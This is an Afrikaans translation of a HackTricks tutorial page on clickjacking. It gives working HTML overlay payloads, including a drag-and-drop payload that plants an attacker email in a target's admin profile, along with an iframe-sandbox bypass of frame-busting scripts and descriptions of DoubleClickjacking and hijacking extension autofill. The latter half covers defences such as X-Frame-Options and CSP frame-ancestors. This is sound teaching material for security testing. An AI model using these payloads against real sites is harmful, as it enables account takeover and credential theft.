Clickjacking

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Wat is Clickjacking

In ’n clickjacking-aanval word ’n gebruiker mislei om op ’n element op ’n webblad te klik wat óf onsigbaar is óf as ’n ander element vermom is. Hierdie manipulering kan tot onbedoelde gevolge vir die gebruiker lei, soos die aflaai van malware, herleiding na kwaadwillige webblaaie, verskaffing van inlogbewyse of sensitiewe inligting, geld oordragte, of die aanlyn aankoop van produkte.

Truuk: vorms vooraf invul

Soms is dit moontlik om die waardes van velde in ’n vorm met behulp van GET-parameters te vul wanneer ’n bladsy gelaai word. ’n Aanvaller kan hierdie gedrag misbruik om ’n vorm met ewekansige data te vul en die clickjacking-payload te stuur sodat die gebruiker die knoppie Submit druk.

Vorm vul met Drag&Drop

As jy nodig het dat die gebruiker ’n vorm invul maar jy wil hom nie direk vra om spesifieke inligting te tik nie (soos die e-pos en/of ’n spesifieke wagwoord wat jy ken), kan jy hom net vra om iets te Drag&Drop wat jou beheerde data sal invoer, soos in this example.

Basiese Payload

<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>

Meertraps Payload

<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>

Sleur&Los + Klik payload

<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>

XSS + Clickjacking

Indien jy ’n XSS-aanval wat vereis dat ’n gebruiker klik op ’n element geïdentifiseer het om die XSS te trigger en die bladsy is vulnerable to clickjacking, kan jy dit misbruik om die gebruiker te mislei om die knoppie/skakel te klik.
Voorbeeld:
Jy het ’n self XSS gevind in sekere privaat rekeningbesonderhede (besonderhede wat slegs jy kan instel en lees). Die bladsy met die form om hierdie besonderhede te stel is vulnerable vir Clickjacking en jy kan die form prepopulate met die GET parameters.
’n Aanvaller kan ’n Clickjacking-aanval op daardie bladsy voorberei deur die form te prepopulate met die XSS payload en die gebruiker te mislei om die form te submit. Dus, wanneer die form ingedien word en die waardes gemodifiseer is, sal die gebruiker die XSS uitvoer.

DoubleClickjacking

Eerstens explained in this post, hierdie tegniek vra die slagoffer om dubbel te klik op ’n knoppie van ’n aangepaste bladsy wat op ’n spesifieke posisie geplaas is, en gebruik die tydsverskille tussen mousedown en onclick gebeure om die slagoffer-bladsy tydens die dubbelklik te laai sodat die slagoffer eintlik ’n legit knop op die slagoffer-bladsy klik.

’n Voorbeeld kan in hierdie video gesien word: https://www.youtube.com/watch?v=4rGvRRMrD18

’n Kode-voorbeeld is te vinde op this page.

Warning

Hierdie tegniek maak dit moontlik om die gebruiker te mislei om op een plek op die slagoffer-bladsy te klik en sodoende alle beskerming teen clickjacking te omseil. Die aanvaller moet dus sensitiewe aksies vind wat net met 1 klik uitgevoer kan word, soos OAuth prompts wat permissies aanvaar.

Browser extensions: DOM-based autofill clickjacking

Afgesien van die gebruik van iframes om slagoffer-bladsye in te sluit, kan aanvallers browser extension UI-elemente teiken wat in die bladsy ingespuit word. Wagwoordbestuurders render autofill dropdowns naby gefokusde invoervelde; deur ’n aanvaller-beheerde veld te fokus en die extension se dropdown te verberg/obstrueer (opacity/overlay/top-layer truuks), kan ’n gedwonge gebruiker-klik ’n gestoor item kies en sensitiewe data in aanvaller-beheerde invoervelde inprop. Hierdie variant vereis geen iframe-blootstelling nie en werk heeltemal deur DOM/CSS-manipulasie.

  • Vir konkrete tegnieke en PoCs sien:

BrowExt - ClickJacking

Strategies to Mitigate Clickjacking

Client-Side Defenses

Skrifte wat aan die kliëntkant uitgevoer word kan aksies neem om Clickjacking te voorkom:

  • Verseker dat die toepassingvenster die hoof- of top-venster is.
  • Maak alle rame sigbaar.
  • Voorkom klikke op onsigbare rame.
  • Detecteer en waarsku gebruikers oor potensiële Clickjacking-pogings.

Echter, hierdie frame-busting skripte kan omseil word:

  • Browsers’ Security Settings: Sommige browsers kan hierdie skripte blokkeer gebaseer op hul veiligheidsinstellings of gebrek aan JavaScript-ondersteuning.
  • HTML5 iframe sandbox Attribute: ’n Aanvaller kan frame buster skripte neutraliseer deur die sandbox-attribuut te stel met allow-forms of allow-scripts waardes sonder allow-top-navigation. Dit verhoed dat die iframe kan verifieer of dit die top-venster is, bv.
<iframe
id="victim_website"
src="https://victim-website.com"
sandbox="allow-forms allow-scripts"></iframe>

Die allow-forms en allow-scripts waardes skakel aksies binne die iframe in terwyl top-level navigasie gedeaktiveer word. Om die beoogde funksionaliteit van die geteikende site te verseker, mag addisionele magtigings soos allow-same-origin en allow-modals nodig wees, afhangend van die tipe aanval. Blaaierkonsole-boodskappe kan aandui watter permissies toegelaat moet word.

Bedienerkant Verdedigings

X-Frame-Options

Die X-Frame-Options HTTP response header informeer blaaiers oor die legitimiteit daarvan om ’n bladsy in ’n of

  • X-Frame-Options: deny - No domain can frame the content.
  • X-Frame-Options: sameorigin - Only the current site can frame the content.
  • X-Frame-Options: allow-from https://trusted.com - Only the specified ‘uri’ can frame the page.
  • Note the limitations: if the browser doesn’t support this directive, it might not work. Some browsers prefer the CSP frame-ancestors directive.

Content Security Policy (CSP) frame-ancestors directive

frame-ancestors directive in CSP is die aanbevole metode vir Clickjacking-beskerming:

  • frame-ancestors ‘none’ - Soortgelyk aan X-Frame-Options: deny.
  • frame-ancestors ‘self’ - Soortgelyk aan X-Frame-Options: sameorigin.
  • frame-ancestors trusted.com - Soortgelyk aan X-Frame-Options: allow-from.

For instance, the following CSP only allows framing from the same domain:

Content-Security-Policy: frame-ancestors ‘self’;

Meer besonderhede en komplekse voorbeelde is te vinde in die frame-ancestors CSP documentation en Mozilla’s CSP frame-ancestors documentation.

Content Security Policy (CSP) met child-src en frame-src

Content Security Policy (CSP) is ’n sekuriteitsmaatreël wat help om Clickjacking en ander kode-inspuitingsaanvalle te voorkom deur aan te dui watter bronne die blaaier moet toelaat om inhoud te laai.

frame-src Directive

  • Bepaal geldige bronne vir frames.
  • Meer spesifiek as die default-src directive.
Content-Security-Policy: frame-src 'self' https://trusted-website.com;

Hierdie beleid laat frames toe vanaf dieselfde oorsprong (self) en https://trusted-website.com.

child-src Direktief

  • Ingevoer in CSP vlak 2 om geldige bronne vir web workers en frames te stel.
  • Dien as ’n fallback vir frame-src en worker-src.
Content-Security-Policy: child-src 'self' https://trusted-website.com;

Hierdie beleid laat frames en workers toe vanaf dieselfde oorsprong (self) en https://trusted-website.com.

Gebruiknotas:

  • Uitfasering: child-src word uitgefaseer ten gunste van frame-src en worker-src.
  • Val-teruggedrag: As frame-src afwesig is, word child-src as val-terug vir frames gebruik. As beide afwesig is, word default-src gebruik.
  • Strikte brondefinisie: Sluit slegs vertroude bronne in die riglyne in om uitbuiting te voorkom.

JavaScript Frame-Breaking Scripts

Alhoewel nie volledig feilloos nie, kan JavaScript-based frame-busting scripts gebruik word om te verhoed dat ’n webblad in ’n frame geplaas word. Voorbeeld:

if (top !== self) {
top.location = self.location
}

Gebruik van Anti-CSRF-tokens

  • Tokenvalidasie: Gebruik anti-CSRF-tokens in webtoepassings om te verseker dat statusveranderende versoeke doelbewus deur die gebruiker uitgevoer word en nie deur ’n Clickjacked-bladsy nie.

Verwysings

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks